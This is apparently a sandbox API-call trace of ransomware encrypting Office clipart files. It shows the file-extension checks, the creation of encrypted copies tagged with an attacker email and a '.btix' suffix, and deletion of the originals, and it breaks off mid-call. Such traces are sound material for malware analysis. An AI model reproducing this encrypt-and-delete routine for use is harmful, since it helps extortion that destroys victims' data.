lstrlenW (lpString=".bz2") returned 4 [0155.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.425] lstrlenW (lpString=".7z") returned 3 [0155.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0155.425] lstrlenW (lpString=".dbf") returned 4 [0155.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0155.425] lstrlenW (lpString=".1cd") returned 4 [0155.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0155.425] lstrlenW (lpString=".jpg") returned 4 [0155.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.427] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.427] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.428] GetLastError () returned 0x0 [0155.428] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x778, lpOverlapped=0x0) returned 1 [0155.488] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x780, lpOverlapped=0x0) returned 1 [0155.488] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.488] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.488] SetEndOfFile (hFile=0x36c) returned 1 [0155.489] CloseHandle (hObject=0x36c) returned 1 [0155.489] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.489] SetEndOfFile (hFile=0x35c) returned 1 [0155.489] CloseHandle (hObject=0x35c) returned 1 [0155.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 1 [0155.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0155.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0155.490] lstrlenW (lpString=".doc") returned 4 [0155.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.490] lstrlenW (lpString=".docx") returned 5 [0155.490] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0155.490] lstrlenW (lpString=".pdf") returned 4 [0155.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.490] lstrlenW (lpString=".xls") returned 4 [0155.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.491] lstrlenW (lpString=".xlsx") returned 5 [0155.491] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0155.491] lstrlenW (lpString=".ppt") returned 4 [0155.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0155.491] lstrlenW (lpString=".zip") returned 4 [0155.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.491] lstrlenW (lpString=".rar") returned 4 [0155.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.491] lstrlenW (lpString=".bz2") returned 4 [0155.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.491] lstrlenW (lpString=".7z") returned 3 [0155.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0155.491] lstrlenW (lpString=".dbf") returned 4 [0155.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0155.491] lstrlenW (lpString=".1cd") returned 4 [0155.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0155.491] lstrlenW (lpString=".jpg") returned 4 [0155.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.491] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.492] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.492] GetLastError () returned 0x0 [0155.492] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1fc8, lpOverlapped=0x0) returned 1 [0155.503] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1fd0, lpOverlapped=0x0) returned 1 [0155.503] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.504] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.504] SetEndOfFile (hFile=0x36c) returned 1 [0155.523] CloseHandle (hObject=0x36c) returned 1 [0155.524] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.524] SetEndOfFile (hFile=0x35c) returned 1 [0155.525] CloseHandle (hObject=0x35c) returned 1 [0155.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 1 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0155.526] lstrlenW (lpString=".doc") returned 4 [0155.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString=".docx") returned 5 [0155.526] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0155.526] lstrlenW (lpString=".pdf") returned 4 [0155.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString=".xls") returned 4 [0155.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.526] lstrlenW (lpString=".xlsx") returned 5 [0155.526] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0155.526] lstrlenW (lpString=".ppt") returned 4 [0155.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0155.526] lstrlenW (lpString=".zip") returned 4 [0155.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.526] lstrlenW (lpString=".rar") returned 4 [0155.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString=".bz2") returned 4 [0155.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString=".7z") returned 3 [0155.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0155.526] lstrlenW (lpString=".dbf") returned 4 [0155.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0155.526] lstrlenW (lpString=".1cd") returned 4 [0155.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0155.527] lstrlenW (lpString=".jpg") returned 4 [0155.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.528] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.529] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0155.529] GetLastError () returned 0x0 [0155.529] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xbc0, lpOverlapped=0x0) returned 1 [0155.558] WriteFile (in: hFile=0x34c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xbd0, lpOverlapped=0x0) returned 1 [0155.559] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.559] WriteFile (in: hFile=0x34c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.559] SetEndOfFile (hFile=0x34c) returned 1 [0155.559] CloseHandle (hObject=0x34c) returned 1 [0155.559] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.559] SetEndOfFile (hFile=0x35c) returned 1 [0155.560] CloseHandle (hObject=0x35c) returned 1 [0155.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 1 [0155.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0155.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0155.561] lstrlenW (lpString=".doc") returned 4 [0155.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.561] lstrlenW (lpString=".docx") returned 5 [0155.561] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0155.561] lstrlenW (lpString=".pdf") returned 4 [0155.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.561] lstrlenW (lpString=".xls") returned 4 [0155.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.562] lstrlenW (lpString=".xlsx") returned 5 [0155.562] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0155.562] lstrlenW (lpString=".ppt") returned 4 [0155.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0155.562] lstrlenW (lpString=".zip") returned 4 [0155.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.562] lstrlenW (lpString=".rar") returned 4 [0155.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.562] lstrlenW (lpString=".bz2") returned 4 [0155.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.562] lstrlenW (lpString=".7z") returned 3 [0155.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0155.564] lstrlenW (lpString=".dbf") returned 4 [0155.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0155.564] lstrlenW (lpString=".1cd") returned 4 [0155.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0155.564] lstrlenW (lpString=".jpg") returned 4 [0155.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.565] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.565] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0155.565] GetLastError () returned 0x0 [0155.565] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x8f0c, lpOverlapped=0x0) returned 1 [0155.580] WriteFile (in: hFile=0x34c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x8f10, lpOverlapped=0x0) returned 1 [0155.581] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.581] WriteFile (in: hFile=0x34c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.581] SetEndOfFile (hFile=0x34c) returned 1 [0155.581] CloseHandle (hObject=0x34c) returned 1 [0155.582] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.582] SetEndOfFile (hFile=0x35c) returned 1 [0155.582] CloseHandle (hObject=0x35c) returned 1 [0155.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf")) returned 1 [0155.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0155.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0155.583] lstrlenW (lpString=".doc") returned 4 [0155.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.583] lstrlenW (lpString=".docx") returned 5 [0155.583] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0155.583] lstrlenW (lpString=".pdf") returned 4 [0155.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.583] lstrlenW (lpString=".xls") returned 4 [0155.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.583] lstrlenW (lpString=".xlsx") returned 5 [0155.584] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0155.584] lstrlenW (lpString=".ppt") returned 4 [0155.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0155.584] lstrlenW (lpString=".zip") returned 4 [0155.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.584] lstrlenW (lpString=".rar") returned 4 [0155.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.584] lstrlenW (lpString=".bz2") returned 4 [0155.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.584] lstrlenW (lpString=".7z") returned 3 [0155.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0155.584] lstrlenW (lpString=".dbf") returned 4 [0155.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0155.584] lstrlenW (lpString=".1cd") returned 4 [0155.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0155.584] lstrlenW (lpString=".jpg") returned 4 [0155.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.584] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.584] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0155.585] GetLastError () returned 0x0 [0155.585] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x7850, lpOverlapped=0x0) returned 1 [0155.587] WriteFile (in: hFile=0x34c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x7860, lpOverlapped=0x0) returned 1 [0155.588] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.588] WriteFile (in: hFile=0x34c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.588] SetEndOfFile (hFile=0x34c) returned 1 [0155.588] CloseHandle (hObject=0x34c) returned 1 [0155.588] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.589] SetEndOfFile (hFile=0x35c) returned 1 [0155.589] CloseHandle (hObject=0x35c) returned 1 [0155.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf")) returned 1 [0155.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0155.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0155.590] lstrlenW (lpString=".doc") returned 4 [0155.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.590] lstrlenW (lpString=".docx") returned 5 [0155.590] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0155.590] lstrlenW (lpString=".pdf") returned 4 [0155.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.590] lstrlenW (lpString=".xls") returned 4 [0155.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.590] lstrlenW (lpString=".xlsx") returned 5 [0155.590] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0155.590] lstrlenW (lpString=".ppt") returned 4 [0155.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0155.590] lstrlenW (lpString=".zip") returned 4 [0155.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.590] lstrlenW (lpString=".rar") returned 4 [0155.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.591] lstrlenW (lpString=".bz2") returned 4 [0155.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.591] lstrlenW (lpString=".7z") returned 3 [0155.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0155.591] lstrlenW (lpString=".dbf") returned 4 [0155.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0155.591] lstrlenW (lpString=".1cd") returned 4 [0155.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0155.591] lstrlenW (lpString=".jpg") returned 4 [0155.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.591] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.591] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0155.592] GetLastError () returned 0x0 [0155.592] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x9658, lpOverlapped=0x0) returned 1 [0156.028] WriteFile (in: hFile=0x34c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x9660, 